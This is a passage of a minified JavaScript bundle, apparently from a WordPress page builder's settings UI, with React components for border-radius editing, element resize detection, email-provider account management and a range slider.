t=e(a.a.findDOMNode(this.refs.radiusPreview)),n=t.innerHeight(),o=t.innerWidth(),r='"data:image/svg+xml,%3Csvg%20width%3D%27'+o+"%27%20height%3D%27"+n+"%27%20viewBox%3D%270%200%20"+o+"%20"+n+"%27%20xmlns%3D%27http%3A//www.w3.org/2000/svg%27%3E%3Cline%20x1%3D%270%27%20y1%3D%270%27%20x2%3D%27"+o+"%27%20y2%3D%27"+n+"%27%20style%3D%27stroke%3A%23f1f5f9%3Bstroke-width%3A2%27%20/%3E%3Cline%20x1%3D%270%27%20y1%3D%27"+n+"%27%20x2%3D%27"+o+'%27%20y2%3D%270%27%20style%3D%27stroke%3A%23f1f5f9%3Bstroke-width%3A2%27%20/%3E%3C/svg%3E"';t.css("background","#FFFFFF url("+r+")")}},{key:"_isLinkedMode",value:function(){return this._getSettingValue("border-link")}},{key:"_onChange",value:function(e){var t=void 0,n=N.a.sanitizeInputUnit(this._lastValue),o=this._getDefaultSettingValue(e);(n===o||""===o&&"0px"===n)&&(n=""),this._isLinkedMode()?t=this._spreadValue(n):(t=this._getValues())[e]=n,this.props._onChange(this.props.name,this._combineValues(t)),this.setState({inputValues:t})}},{key:"_spreadValue",value:function(e){return{"border-link":!0,"top-left":e,"top-right":e,"bottom-right":e,"bottom-left":e}}},{key:"_onClickLink",value:function(){if(!this.props.readonly)if(this._getSettingValue("border-link")){var e=this._getValues();e["border-link"]=!1,this.props._onChange(this.props.name,this._combineValues(e))}else{""===this._lastValue&&(this._lastValue=this._getSettingValue("top-left"));var t=this._spreadValue(this._lastValue);this.props._onChange(this.props.name,this._combineValues(t)),this.setState({inputValues:t})}}},{key:"_combineValues",value:function(e){return(e["border-link"]?"on":"off")+"|"+e["top-left"]+"|"+e["top-right"]+"|"+e["bottom-right"]+"|"+e["bottom-left"]}},{key:"_splitValue",value:function(e){var t=h()(e)?e:e.split("|");return{"border-link":!!p()(t[0])||j.default.isOn(t[0]),"top-left":p()(t[1])||""===t[1]?"":t[1],"top-right":p()(t[2])||""===t[2]?"":t[2],"bottom-right":p()(t[3])||""===t[3]?"":t[3],"bottom-left":p()(t[4])||""===t[4]?"":t[4]}}},{key:"_getDefaultValue",value:function(){return p()(this.props.default)||""===this.props.default?"on||||":this.props.default}},{key:"_getDefaultSettingValue",value:function(e){return this._splitValue(this._getDefaultValue())[e]}},{key:"_getSettingPlaceholder",value:function(e){var t=this._getDefaultSettingValue(e);return""===t?"0px":t}},{key:"_getValues",value:function(){return this._values}},{key:"_getSettingValue",value:function(e){return this._getValues()[e]}},{key:"getInput",value:function(e){var t=M()({"top-left":this._onTopLeftChange,"top-right":this._onTopRightChange,"bottom-right":this._onBottomRightChange,"bottom-left":this._onBottomLeftChange},e),n=this._getDefaultSettingValue(e)===this.state.inputValues[e]?"":this.state.inputValues[e];return r.a.createElement("div",{className:"et-fb-settings-border-radius-"+e},r.a.createElement(L.a,{lassName:"et-fb-settings-option-input",value:n,onChange:t,defaultValue:this._getSettingPlaceholder(e),speed:.5,min:0,defaultUnit:"px",allowedUnits:this.props.allowed_units,readonly:this.props.readonly}))}},{key:"render",value:function(){var e={borderTopLeftRadius:this._getSettingValue("top-left"),borderTopRightRadius:this._getSettingValue("top-right"),borderBottomRightRadius:this._getSettingValue("bottom-right"),borderBottomLeftRadius:this._getSettingValue("bottom-left")},t=this._getSettingValue("border-link")?"#2b87da":"#bec9d6";return r.a.createElement("div",{className:"et-fb-settings-border-radius-wrap"},r.a.createElement("div",{className:"et-fb-settings-border-radius-wrap-column"},this.getInput("top-left"),this.getInput("bottom-left")),r.a.createElement("div",{className:"et-fb-settings-border-radius-wrap-column"},r.a.createElement("div",{className:"et-fb-settings-border-radius-preview",style:e,ref:"radiusPreview"},r.a.createElement(l.a,{handleWidth:!0,handleHeight:!0,onResize:this._onResize}),r.a.createElement("div",{className:"et-fb-settings-border-radius-wrap-link-button"},r.a.createElement(P.a,{buttonName:"ROUNDED_CORNERS_SYNC_VALUES",className:c()({"et-fb-settings-border-radius-wrap-link-button-active":this._getSettingValue("border-link")}),tooltip:this.props.tooltip,stopPropagation:!0,ink:!1,_onClick:this._onClickLink},r.a.createElement(x.a,{icon:"border-link",color:t}))))),r.a.createElement("div",{className:"et-fb-settings-border-radius-wrap-column"},this.getInput("top-right"),this.getInput("bottom-right")))}}]),n}();t.a=R}).call(this,n(24))},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o,r=n(1446),i=(o=r)&&o.__esModule?o:{default:o};t.default=i.default},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},r=function(){return function(e,t){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return function(e,t){var n=[],o=!0,r=!1,i=void 0;try{for(var a,s=e[Symbol.iterator]();!(o=(a=s.next()).done)&&(n.push(a.value),!t||n.length!==t);o=!0);}catch(e){r=!0,i=e}finally{try{!o&&s.return&&s.return()}finally{if(r)throw i}}return n}(e,t);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),i=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}(),a=n(1),s=c(a),l=c(n(4)),u=n(1447);function c(e){return e&&e.__esModule?e:{default:e}}var d=function(e){function t(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var e=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this));return e.state={expandChildHeight:0,expandChildWidth:0,expandScrollLeft:0,expandScrollTop:0,shrinkScrollTop:0,shrinkScrollLeft:0,lastWidth:0,lastHeight:0},e.reset=e.reset.bind(e),e.handleScroll=e.handleScroll.bind(e),e}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,a.Component),i(t,[{key:"componentWillMount",value:function(){this.forceUpdate()}},{key:"componentDidMount",value:function(){var e=this.containerSize(),t=r(e,2),n=t[0],o=t[1];this.reset(n,o),this.props.onResize(n,o)}},{key:"shouldComponentUpdate",value:function(e,t){return this.props!==e||this.state!==t}},{key:"componentDidUpdate",value:function(){this.expand.scrollLeft=this.expand.scrollWidth,this.expand.scrollTop=this.expand.scrollHeight,this.shrink.scrollLeft=this.shrink.scrollWidth,this.shrink.scrollTop=this.shrink.scrollHeight}},{key:"containerSize",value:function(){return[this.props.handleWidth&&this.container.parentElement.offsetWidth,this.props.handleHeight&&this.container.parentElement.offsetHeight]}},{key:"reset",value:function(e,t){if("undefined"!=typeof window){var n=this.container.parentElement,o="static";n.currentStyle?o=n.currentStyle.position:window.getComputedStyle&&(o=window.getComputedStyle(n).position),"static"===o&&(n.style.position="relative"),this.setState({expandChildHeight:this.expand.offsetHeight+10,expandChildWidth:this.expand.offsetWidth+10,lastWidth:e,lastHeight:t})}}},{key:"handleScroll",value:function(e){if("undefined"!=typeof window){e.preventDefault(),e.stopPropagation();var t=this.state,n=this.containerSize(),o=r(n,2),i=o[0],a=o[1];i===t.lastWidth&&a===t.lastHeight||this.props.onResize(i,a),this.reset(i,a)}}},{key:"render",value:function(){var e=this,t=this.state,n=o({},u.expandChildStyle,{width:t.expandChildWidth,height:t.expandChildHeight});return s.default.createElement("div",{style:u.parentStyle,ref:function(t){e.container=t}},s.default.createElement("div",{style:u.parentStyle,onScroll:this.handleScroll,ref:function(t){e.expand=t}},s.default.createElement("div",{style:n})),s.default.createElement("div",{style:u.parentStyle,onScroll:this.handleScroll,ref:function(t){e.shrink=t}},s.default.createElement("div",{style:u.shrinkChildStyle})))}}]),t}();t.default=d,d.propTypes={handleWidth:l.default.bool,handleHeight:l.default.bool,onResize:l.default.func},d.defaultProps={handleWidth:!1,handleHeight:!1,onResize:function(e){return e}}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.parentStyle={position:"absolute",left:0,top:0,right:0,bottom:0,overflow:"hidden",zIndex:-1,visibility:"hidden"},t.shrinkChildStyle={position:"absolute",left:0,top:0,width:"200%",height:"200%"},t.expandChildStyle={position:"absolute",left:0,top:0,width:"100%",height:"100%"}},function(e,t,n){},function(e,t,n){},function(e,t,n){"use strict";(function(e){var o=n(1),r=n.n(o),i=n(28),a=n.n(i),s=n(37),l=n.n(s),u=n(22),c=n.n(u),d=n(2),p=n.n(d),f=n(8),h=n.n(f),m=n(74),g=n.n(m),v=n(10),b=n.n(v),y=n(15),_=n.n(y),k=n(11),w=n.n(k),C=n(94),E=n.n(C),O=n(66),S=n.n(O),T=n(124),M=n.n(T),x=n(360),P=n.n(x),j=n(29),L=n.n(j),N=n(90),D=n.n(N),A=n(76),F=n.n(A),I=n(96),R=n.n(I),B=n(380),W=n.n(B),V=n(215),H=n.n(V),G=n(114),U=n.n(G),z=n(1281),q=n(0),K=n(51),$=n(305),X=n(19),Y=n(3),J=n(12),Q=(n(1451),function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}());function Z(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var ee=function(e){return q.default.hasValue(e)&&!b()(["none","0|none"],e)},te=function(e){return"add_new_account"===e},ne=function(e){return"remove_account"===e},oe=function(e){return"fetch_lists"===e},re=q.default.$topWindow("body"),ie=function(t){function n(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,n);var t=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,e));return t.force_clear_fields=!1,t.getProviderName=function(){return t.props.name.replace("_list","")},t.addNewAccountInProgress=function(){return te(t.props.value)},t.removeAccountInProgress=function(){return ne(t.props.value)},t.fetchListsInProgress=function(){return oe(t.props.value)},t.canAddNewAccount=function(){var e=L()(t.props.options).length-2;return!t.props.max_accounts||e<t.props.max_accounts},t.state={ajax_in_progress:!1,remove_account_ajax:!1},t.previous_selection="none",t.selected_account="",t.shouldComponentUpdate=l.a.shouldComponentUpdate.bind(t),t._addNewAccount=t._addNewAccount.bind(t),t._removeAccount=t._removeAccount.bind(t),t._ajaxSendRequest=t._ajaxSendRequest.bind(t),t._ajaxComplete=t._ajaxComplete.bind(t),t._fetchLists=t._fetchLists.bind(t),t.actionInProgress=t.actionInProgress.bind(t),t.cancelAllActions=t.cancelAllActions.bind(t),t.getProviderName=t.getProviderName.bind(t),t.getSelectedAccount=t.getSelectedAccount.bind(t),t._onChange=t._onChange.bind(t),t._onClickAddNewAccountButton=t._onClickAddNewAccountButton.bind(t),t._onClickFetchListsButton=t._onClickFetchListsButton.bind(t),t._onClickRemoveAccountButton=t._onClickRemoveAccountButton.bind(t),t._renderAddNewAccountButton=t._renderAddNewAccountButton.bind(t),t._renderRemoveAccountButton=t._renderRemoveAccountButton.bind(t),t._renderFetchListsButton=t._renderFetchListsButton.bind(t),t}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(n,r.a.Component),Q(n,[{key:"UNSAFE_componentWillMount",value:function(){Y.a.addModuleSettingsAddAccountCancelEventListener(this.cancelAllActions),Y.a.addModuleSettingsAddAccountSubmitEventListener(this._addNewAccount)}},{key:"componentWillUnmount",value:function(){Y.a.removeModuleSettingsAddAccountCancelEventListener(this.cancelAllActions),Y.a.removeModuleSettingsAddAccountSubmitEventListener(this._addNewAccount),re.removeClass("et-fb--email-action-in-progress et-fb--email-ajax-in-progress")}},{key:"UNSAFE_componentWillReceiveProps",value:function(e){ee(this.props.value)&&!ee(e.value)&&this.setState({ajax_in_progress:!1,remove_account_ajax:!1})}},{key:"_openPopupAuth",value:function(e){var t=this,n=e.redirect_url,o=null!=window.screenLeft?window.screenLeft:window.screenX,r=null!=window.screenTop?window.screenTop:window.screenY,i=window.innerWidth?window.innerWidth:document.documentElement.clientWidth?document.documentElement.clientWidth:screen.width,a=window.innerHeight?window.innerHeight:document.documentElement.clientHeight?document.documentElement.clientHeight:screen.height,s={width:900,height:500};s.left=i/2-s.width/2+o,s.top=a/2-s.height/2+r;var l="toolbar=0,scrollbars=1,status=1,resizable=1,location=1,menuBar=0, width="+s.width+",height="+s.height+", left="+s.left+",top="+s.top,u=window.open(n,"ETAuthPopup",l),c=window.addEventListener?"addEventListener":"attachEvent",d=window[c],p="attachEvent"===c?"onmessage":"message",f=setInterval(function(){u.closed&&(clearInterval(f),t._ajaxComplete(e))},1e3);window.focus&&u.focus(),d(p,function(n){clearInterval(f),n.data.authenticated?t._addNewAccount():t._ajaxComplete(e),u.close()},!1)}},{key:"_addNewAccount",value:function(){var e=this,t=p()(this.props,"module.state.generalFields"),n=this.getProviderName(),o=E()(t,function(e,t){return S()(t,n)});if(!g()(o,function(e){return h()(e)})){var r=P()(o,function(t,n,o){M()(o,"_list")||(t["et_"+o]=p()(e.props.moduleAttrs,o,""))});r.action="et_builder_email_add_account",r.et_provider=n,r.et_builder_email_add_account_nonce=ETBuilderBackend.nonces.moduleEmailOptinAddAccount,"spam"===p()(this,"props.toggle_slug")&&(r.is_spam_account=1),this._ajaxSendRequest(r)}}},{key:"_removeAccount",value:function(){var e=this.getProviderName(),t=this.selected_account,n={action:"et_builder_email_remove_account",et_builder_email_remove_account_nonce:ETBuilderBackend.nonces.moduleEmailOptinRemoveAccount,et_provider:e,et_account:t};"spam"===p()(this,"props.toggle_slug")&&(n.is_spam_account=1),this._ajaxSendRequest(n,"remove_account_ajax")}},{key:"_ajaxSendRequest",value:function(t){var n=this,o=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"ajax_in_progress",r="et_builder_email_add_account"===t.action;this.setState(Z({},o,!0)),e.ajax({type:"POST",url:ETBuilderBackend.ajaxUrl,dataType:"json",data:t}).done(function(e,t,o){r&&q.default.hasValue(e.redirect_url)?n._openPopupAuth(e):n._ajaxComplete(e)}).fail(function(){return n._ajaxComplete()})}},{key:"_ajaxComplete",value:function(e){var t=this;if(e){var n=["et_pb_signup"];"spam"===p()(this,"props.toggle_slug")&&n.push("et_pb_contact_form"),w()(n,function(n){var o=X.d.getComponentFieldsByType(n)[t.props.name];o.options=_()({},e.accounts_list),J.b.updateComponentFieldDefinition(n,t.props.name,o),"et_pb_signup"!==n||h()(e.predefined_custom_fields)||(ETBuilderBackend.emailPredefinedCustomFields=e.predefined_custom_fields),"et_pb_signup"!==n||h()(e.custom_fields)||J.b.updateComponentFieldDefinitions("et_pb_signup_custom_field",e.custom_fields)})}if(this.addNewAccountInProgress()&&this.state.ajax_in_progress){Y.a.emitModuleSettingsAddAccountAjaxCompleteEvent();var o=F()(R()(W()(e.accounts_list)));"spam"===p()(this,"props.toggle_slug")?(o=D()(o),o+="-0"):o=D()(F()(W()(F()(o)))),this.previous_selection=o}else this.removeAccountInProgress()&&(this.previous_selection="");this.force_clear_fields=this.removeAccountInProgress(),this.cancelAllActions()}},{key:"_fetchLists",value:function(){var e=this.getProviderName(),t=this.getSelectedAccount(),n={action:"et_builder_email_get_lists",et_builder_email_fetch_lists_nonce:ETBuilderBackend.nonces.moduleEmailOptinFetchLists,et_provider:e,et_account:t};this._ajaxSendRequest(n)}},{key:"actionInProgress",value:function(){return this.addNewAccountInProgress()||this.fetchListsInProgress()||this.removeAccountInProgress()}},{key:"cancelAllActions",value:function(){(""===this.previous_selection||b()(["add_new_account","fetch_lists","remove_account"],this.previous_selection))&&(this.previous_selection="none"),this.setState({ajax_in_progress:!1,remove_account_ajax:!1}),this.props._onChange(this.props.name,this.previous_selection)}},{key:"getSelectedAccount",value:function(){return e(a.a.findDOMNode(this)).find(":selected").parent().attr("label")}},{key:"setPreviousSelection",value:function(){this.previous_selection=this.getSelectedAccount()+"|"+this.props.value}},{key:"_onChange",value:function(e,t,n){var o=b()(["add_new_account","fetch_lists","remove_account"],t),r=this.actionInProgress()&&!o;this.props._onChange(e,t),r&&this.cancelAllActions(),!this.actionInProgress()&&o&&("add_new_account"===t?"aweber"===this.getProviderName()&&setTimeout(function(){q.default.topWindow().open("https://auth.aweber.com/1.0/oauth/authorize_app/b17f3351")},500):"fetch_lists"===t&&this._fetchLists())}},{key:"_onClickAddNewAccountButton",value:function(){this.addNewAccountInProgress()||(this.setPreviousSelection(),this._onChange(this.props.name,"add_new_account"))}},{key:"_onClickFetchListsButton",value:function(){this.removeAccountInProgress()?this.cancelAllActions():this.actionInProgress()||(this.setPreviousSelection(),this._onChange(this.props.name,"fetch_lists"))}},{key:"_onClickRemoveAccountButton",value:function(){this.removeAccountInProgress()&&!this.state.remove_account_ajax?this._removeAccount():this.removeAccountInProgress()||(this.selected_account=this.getSelectedAccount(),this.setPreviousSelection(),this._onChange(this.props.name,"remove_account"))}},{key:"UNSAFE_componentWillUpdate",value:function(e,t){var n=t.ajax_in_progress;te(e.value)||oe(e.value)?re.addClass("et-fb--email-action-in-progress"):re.removeClass("et-fb--email-action-in-progress"),n?re.addClass("et-fb--email-ajax-in-progress"):re.removeClass("et-fb--email-ajax-in-progress")}},{key:"_renderAddNewAccountButton",value:function(e){var t=p()(this.props,"after[0].text","");return this.addNewAccountInProgress()||this.removeAccountInProgress()||!this.canAddNewAccount()?"":r.a.createElement($.a,{useWrapper:!1,isLoading:this.state.ajax_in_progress},r.a.createElement(K.a,{className:e,_onClick:this._onClickAddNewAccountButton,inverse:!0},t))}},{key:"_renderRemoveAccountButton",value:function(e){var t=this.removeAccountInProgress(),n=p()(this.props,"after[1].attributes.data-confirm_text",""),o=p()(this.props,"after[1].text","");return this.addNewAccountInProgress()||this.fetchListsInProgress()||!ee(this.props.value)||"0"===this.props.value?"":r.a.createElement($.a,{useWrapper:!1,isLoading:this.state.remove_account_ajax},r.a.createElement(K.a,{className:e,_onClick:this._onClickRemoveAccountButton,inverse:!0},t?n:o))}},{key:"_renderFetchListsButton",value:function(e){var t=p()(this.props,"after[2].attributes['data-cancel_text']","");t||(t=p()(this.props,"after[1].attributes['data-cancel_text']",""));var n=this.addNewAccountInProgress(),o=p()(this.props,"after[2].text","");return n||!o&&!this.removeAccountInProgress()||this.state.ajax_in_progress||this.state.remove_account_ajax||!ee(this.props.value)?"":r.a.createElement($.a,{useWrapper:!1,isLoading:this.fetchListsInProgress()},r.a.createElement(K.a,{className:e,_onClick:this._onClickFetchListsButton,inverse:!0},this.removeAccountInProgress()?t:o))}},{key:"render",value:function(){var e,t=this.props.type.replace(/_/g,"-"),n=c()({"et-fb-settings-button--additional-button":!0}),o=this.addNewAccountInProgress()&&this.state.ajax_in_progress,i=this.addNewAccountInProgress()||this.removeAccountInProgress(),a="spam"===p()(this,"props.toggle_slug"),s="";i&&this.addNewAccountInProgress()?s=this.props.attributes["data-adding_new_account_text"]:i&&this.removeAccountInProgress()&&(s=this.props.attributes["data-confirm_remove_text"]+" "+this.selected_account);var l=c()((Z(e={},"et-fb-option--"+t,!0),Z(e,"et-fb--email-add-new-in-progress-ajax",o),Z(e,"et-fb--email-add-new-in-progress",this.addNewAccountInProgress()),Z(e,"et-fb--email-fetch-lists-in-progress",this.fetchListsInProgress()),Z(e,"et-fb--email-remove-in-progress",this.removeAccountInProgress()),Z(e,"et-fb--spam",a),e)),u=this.props.value||this.props.default,d=!this.props.readonly,f=ee(u),h=d&&!this.props.hideAddButton,m=f&&d&&!this.props.hideRemoveButton,g=f&&d&&!this.props.hideFetchButton,v=U()(this.props.options,function(e,t){return H()(e,function(e,n){return"manage"===t?n:t+"|"+n})});return r.a.createElement("div",{className:l},i?r.a.createElement("span",{className:"et-fb-form__description"},s):r.a.createElement(z.a,{name:this.props.name,value:this.props.value||this.props.default,className:c()("et-fb-settings-option--with-after-element"),groups:!0,parseGroupValue:!1,options:v,module:this.props.module,readonly:this.props.readonly||!1,_onChange:this._onChange}),h&&this._renderAddNewAccountButton(n),m&&this._renderRemoveAccountButton(n),g&&this._renderFetchListsButton(n))}}]),n}();t.a=ie}).call(this,n(24))},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){"use strict";(function(e){var o=n(1),r=n.n(o),i=n(4),a=n.n(i),s=n(2),l=n.n(s),u=n(8),c=n.n(u),d=n(11),p=n.n(d),f=n(236),h=n.n(f),m=n(94),g=n.n(m),v=n(15),b=n.n(v),y=(n(1286),n(1314)),_=(n(19),n(1301),Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}),k=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var w=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return C.call(n),n.state={options:n.props.options,loading:!1},n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,o["Component"]),k(t,[{key:"componentDidMount",value:function(){var e=this.props.options;c()(e)&&this.sendRequest("product",this.getProp(this.props,"product",null))}},{key:"componentDidUpdate",value:function(e){var t=this;this.props.skipRequest||p()(this.props.computedDependsOn,function(n){var o=t.getProp(t.props,n);o!==t.getProp(e,n)&&t.sendRequest(n,o)})}},{key:"render",value:function(){var e=this.props,t=e.name,n=function(e,t){var n={};for(var o in e)t.indexOf(o)>=0||Object.prototype.hasOwnProperty.call(e,o)&&(n[o]=e[o]);return n}(e,["name"]);return r.a.createElement(y.a,_({},n,{name:t,options:this.props.options,loading:this.state.loading}))}}]),t}(),C=function(){var t=this;this.getProp=function(e,t){return l()(e,"moduleAttrs."+t,null)},this.memoizeSerializer=function(e){var t={};return t=1===e.length?e[0]:e,t=b()({},g()(t,function(e,t){return"nonce"!==t})),JSON.stringify(t)},this.sendRequest=function(e,n){t.setState({loading:!0});var o=t.props.arguments(e,n);h()(t.request,{strategy:h.a.strategies.variadic,serializer:t.memoizeSerializer})(o).done(function(e){var n=e.data||{},o={};p()(n,function(e){o[e.name]={value:e.name,label:e.title}}),t.props.setOptions(o),t.setState({loading:!1})})},this.request=function(t){return e.ajax({dataType:"json",type:"POST",url:ETBuilderBackend.ajaxUrl,data:t}).promise()}};w.propTypes={moduleAttrs:a.a.object.isRequired,options:a.a.object.isRequired,computedDependsOn:a.a.array.isRequired,arguments:a.a.func.isRequired,setOptions:a.a.func.isRequired,skipRequest:a.a.bool},w.defaultProps={skipRequest:!1},t.a=w}).call(this,n(24))},function(e,t,n){"use strict";(function(e){var o=n(1),r=n.n(o),i=n(4),a=n.n(i),s=n(140),l=n.n(s),u=n(71),c=n(637),d=n(60),p=n(1458),f=n(1460),h=n(1462),m=n(1510),g=n(1466),v=n(1278),b=n(1325),y=n(1299),_=(n(1468),Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}),k=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var w=function(t){function n(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,n);var o=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,t));return o.rangeWidth=0,o.calculateValue=function(e){return function(t){return function(n){return function(r){var i=Object(d.d)(r,o.getRangeWidth()),a=e(n),s=Object(d.m)(a,a+o.normalize(i));return t(s,n)}}}},o.onRangeChange=function(e){return function(t){return function(n){var r=o.calculateValue(e)(t)(o.getRangeValue())(n);o.updateValue(r)}}},o.onSingleChange=function(e){var t=o.getResolver(),n=e<0,r=n?t.getStartMiddle:t.getEndMiddle,i=n?t.setStartMiddle:t.setEndMiddle,a=n?t.setEndMiddle:t.setStartMiddle,s=o.calculateValue(r)(i)(o.getRangeValue())(e),l=a(r(s),s);o.updateValue(l)},o.updateValue=function(e){o.setState({value:e}),o.props._onChange(o.props.name,e)},o._onChange=l()(function(){var e;return(e=o.props)._onChange.apply(e,arguments)},100),o.getResolver=function(){return c.a(o.props.resolver)},o.getValue=function(){return o.getResolver().merge(o.props.value,o.props.default)},o.getRangeValue=function(){return o.state.dragging?o.state.value:o.getValue()},o.getRangeWidth=function(){return o.rangeWidth||(o.rangeWidth=parseInt(e(o.rangeRef.current).width())||0)},o.normalize=function(e){return o.normalizer(e)},o.onDragStart=function(){o.rangeWidth=0,o.setState({dragging:!0,value:o.getValue()})},o.onDragEnd=function(){o.setState({dragging:!1})},o.onClick=function(){var e=o.getResolver(),t=o.getValue(),n=e.getStartMiddle(t),r=e.getEndMiddle(t);if(n===r){var i=e.setStartMiddle(n-b.b,t),a=e.setEndMiddle(r+b.b,i);o.updateValue(a)}},o.rangeRef=r.a.createRef(),o.normalizer=(new d.a)(1),o.state={dragging:!1,value:o.getValue()},o}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(n,o["Component"]),k(n,[{key:"componentDidMount",value:function(){this.forceUpdate()}},{key:"render",value:function(){var e=this.getResolver(),t=this.getRangeValue(),n=e.getStartLimit(t),o=e.getStartMiddle(t),i=e.getEndMiddle(t),a=e.getEndLimit(t),s=this.state.dragging?v.g:"",l=Object(y.f)(t)?v.q:"";return r.a.createElement("div",{className:v.c+" "+s+" "+l},r.a.createElement(p.a,{title:this.props.i10n.startTitle}),r.a.createElement("div",{className:v.t,ref:this.rangeRef},r.a.createElement(m.a,{value:t,width:this.getRangeWidth()}),r.a.createElement("div",{className:v.r},r.a.createElement(h.a,{className:v.y}),r.a.createElement(h.a,{className:v.z,offset:n,width:a-n}),r.a.createElement(h.a,{className:v.A,offset:o,width:i-o}),r.a.createElement(f.a,{className:v.v,onDragStart:this.onDragStart,onDragEnd:this.onDragEnd,onChange:this.onRangeChange(e.getStartLimit)(e.setStartLimit),style:{left:n+"%"}}),r.a.createElement(f.a,{className:v.w+" "+Object(y.e)(t),onDragStart:this.onDragStart,onDragEnd:this.onDragEnd,onClick:this.onClick,onChange:this.onRangeChange(e.getStartMiddle)(e.setStartMiddle),style:{left:o+"%"}}),r.a.createElement(f.a,{className:v.u,onDragStart:this.onDragStart,onDragEnd:this.onDragEnd,onChange:this.onSingleChange,style:{left:o+"%"}}),r.a.createElement(f.a,{className:v.i+" "+Object(y.d)(t),onDragStart:this.onDragStart,onDragEnd:this.onDragEnd,onClick:this.onClick,onChange:this.onRangeChange(e.getEndMiddle)(e.setEndMiddle),style:{left:i+"%"}}),r.a.createElement(f.a,{className:v.h,onDragStart:this.onDragStart,onDragEnd:this.onDragEnd,onChange:this.onRangeChange(e.getEndLimit)(e.setEndLimit),style:{left:a+"%"}})),r.a.createElement(g.a,{value:this.getValue(),defaultValue:this.props.default,onChange:this.updateValue,width:this.getRangeWidth(),resolver:this.getResolver(),i10n:this.props.i10n})),r.a.createElement(p.a,{title:this.props.i10n.endTitle}))}}],[{key:"getDerivedStateFromProps",value:function(e,t){if(t.dragging)return t;var n=c.a(e.resolver).merge(e.value,e.default);return n!==t.value?_({},t,{value:n}):null}}]),n}();w.propTypes={_onChange:a.a.func.isRequired,name:a.a.string.isRequired,value:a.a.string,default:a.a.string,resolver:a.a.string,i10n:a.a.shape({startTitle:a.a.string,endTitle:a.a.string,startValueTitle:a.a.string,middleValueTitle:a.a.string,endValueTitle:a.a.string})},w.defaultProps={value:"",default:u.getDefaultValue(),i10n:{startTitle:"",endTitle:"",startValueTitle:"",middleValueTitle:"",endValueTitle:""}},t.a=w}).call(this,n(24))},function(e,t,n){"use strict";var o=n(1),r=n.n(o),i=n(4),a=n.n(i),s=n(22),l=n.n(s),u=n(1278),c=(n(1459),function(e){var t=e.className,n=e.title;return 